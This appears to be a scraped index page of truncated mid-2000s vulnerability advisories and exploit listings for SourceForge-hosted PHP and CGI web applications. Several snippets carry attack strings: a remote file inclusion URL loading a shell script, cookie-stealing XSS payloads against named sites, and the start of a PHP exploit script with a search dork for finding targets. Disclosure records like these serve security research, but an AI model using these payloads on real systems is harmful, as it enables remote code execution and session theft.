gnopaste 0.5.3 - 'common.php' Remote File Inclusion

gnopaste = 0.5.3 - Remote File Include Vulnerabilities Script site: http://sourceforge.net/projects/gnopaste made by SmokeZ [email protected] http://www.site.com/gnopastepath/includes/common.php?rootpath=SHELLCODEURL.txt? milw0rm.com 2006-05-30...

Hot Open Tickets <= 11012004 (CLASS_PATH) Remote Include Vuln

No description provided by source. DEVIL TEAM THE BEST POLISH TEAM HOT Hot Open Tickets hot11012004ver2f - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl Site scripts...

Hot Open Tickets 11012004 - 'CLASS_PATH' Remote File Inclusion

DEVIL TEAM THE BEST POLISH TEAM HOT Hot Open Tickets hot11012004ver2f - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl Site scripts:...

Hot Open Tickets 11012004 - CLASS_PATH Remote File Inclusion

Hot Open Tickets 11012004 - CLASSPATH Remote File Inclusion DEVIL TEAM THE BEST POLISH TEAM HOT Hot Open Tickets hot11012004ver2f - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or...

OpenFAQ - HTML injection and XSS (Cross Site Scripting)

Script: OpenFAQ Version: 0.4.0 previous version probably too. Language: PHP Problem: HTML injection and XSS Cross Site Scripting Vendor: http://sourceforge.net/projects/openfaq Discovered by: Kamil 'K3' Sienicki Description: OpenFAQ is a PHP application that lets Webmasters administrate a...

phpmychat_015dev_xpl

!/usr/bin/php -q -d shortopentag=on works with magicquotesgpc=Off\r\n\r\n"; echo "dork: intext:"2000-2001 The phpHeaven Team" -sourceforge\r\n\r\n"; if $argc4 echo "Usage: php ".$argv0." host path cmd OPTIONS\r\n"; echo "host: target server ip/hostname\r\n"; echo "path: path to PHPMyChat\r\n";...

sfXSS.txt

index-sf.html?usemirror=XSS http://prdownloads.sourceforge.net/index-sf.html?usemirror="alertdocument.cookie http://prdownloads.sourceforge.net/index-sf.html?usemirror="alert'Liz0ziM' http://prdownloads.sourceforge.net/index-sf.html?usemirror="alertdocument.domain BiyoSecurityTEam...

CGI Calendar XSS Vulnerability

CGI Calendar XSS Vulnerability Software: CGI Calendar Version: 2.7 http://cgicalendar.sourceforge.net/ Description: an online calendar implemented using CGI technology Vulnerability: Cross-Site Scripting Exploit:...

NOCC Webmail <= 1.0 multiple vulnerabilities

------ NOCC Webmail = 1.0 multiple arbitrary local inclusion + ---------------- php injection - remote code execution / / cross site scripting / path disclosure -------------------------------------------------------------------------------- software: site: http://nocc.sourceforge.net/ descriptio...

[Full-disclosure] XSS in PlaySMS

I Found an XSS Vulnerability in PlaySmS Site: playsms.sourceforge.net PoC: www.target.com/playsms/index.php?err=scriptalertdocument.cookie;/script Salam http://mohajali.lezr.org -- ®.....Now I Am Become Death....The Destroyer Of Worlds....©...

PowerPortal Cross-Site Scripting Vulnerability

NightWarriorKurdish Hacker nightwarrior771athotmail.com PowerPortal Cross-Site Scripting Vulnerability Contact :nightwarrior771athotmail.com http://powerportal.sourceforge.net/ Vuln XSS : http://www.example.com/modules/content/search.php?func=results&search=XSS...

[eVuln] Benders Calendar SQL Injection

New eVuln Advisory: Benders Calendar SQL Injection http://evuln.com/vulns/30/summary/bt/ --------------------Summary---------------- Software: Benders Calendar Sowtware's Web Site: http://sourceforge.net/projects/benderscalendar/ Versions: 1.0 Critical Level: Harmless Type: SQL Injection Class:...

[SA18372] WebGUI Form Module Script Insertion Vulnerability

TITLE: WebGUI Form Module Script Insertion Vulnerability SECUNIA ADVISORY ID: SA18372 VERIFY ADVISORY: http://secunia.com/advisories/18372/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: WebGUI 6.x http://secunia.com/product/4293/ DESCRIPTION: Hans Wolters has...

[eVuln] TheWebForum Script Insertion and Authentication Bypass

New eVuln Advisory: TheWebForum Script Insertion and Authentication Bypass --------------------Summary---------------- Vendor: TheWebForum Group Software: TheWebForum Sowtware's Web Site: http://sourceforge.net/projects/twf/ Versions: 1.2.1 Critical Level: Moderate Type: Multiple Vulnerabilities...

playsmsXSS.txt

I Found an XsS vulnerability in the playsms script.... website: playsms.sourceforge.net POC: www.target.com/playsms/index.php?err=XSShere r.....Now I Am Become Death....The Destroyer Of Worlds....c...

Remote file include in Q-News

Language: PHP Script: Q-News Version: 2.0 Official website: http://sourceforge.net/projects/q-news/ Problem: Remote file inclusion Discovered by: GB Description: =========== Q-News is a Quick News generator written in PHP that generates small text files that can be included a site, it has a lot o...

[Full-disclosure] Torrential 1.2 getdox.php Directory Traversal

I was poking around my own server because I had an installation of torrential and found this vuln. The problem lies in getdox.php. It works by taking an argument after a "/". This specifies a file. The DOX folder that it grabs the files from is located int /dox such that / is the directory that t...

phpFusion600206.txt

PHP-Fusion Date: Nov. 16 2005 Vendor: http://sourceforge.net/projects/php-fusion/ Description: "...a light-weight open-source content management system CMS written in PHP. It utilises a mySQL database to store your site content and includes a simple, comprehensive adminstration system. PHP-Fusion...

Yapig: XSS / Code Injection Vulnerability

=========================================================== Yapig: XSS / Code Injection Vulnerability =========================================================== Technical University of Vienna Security Advisory TUVSA-0510-001, October 13, 2005...

security advisory - OpenVMPS

security advisory - OpenVMPS What is it? ----------- OpenVMPS is a substitute implementation of Cisco Virtual Membership Policy Server on Catalyst 65500 family of switches. It is used on Cisco LAN switces to dynamically assign ports to VLANs according to Ethernet Address. Because it was developed...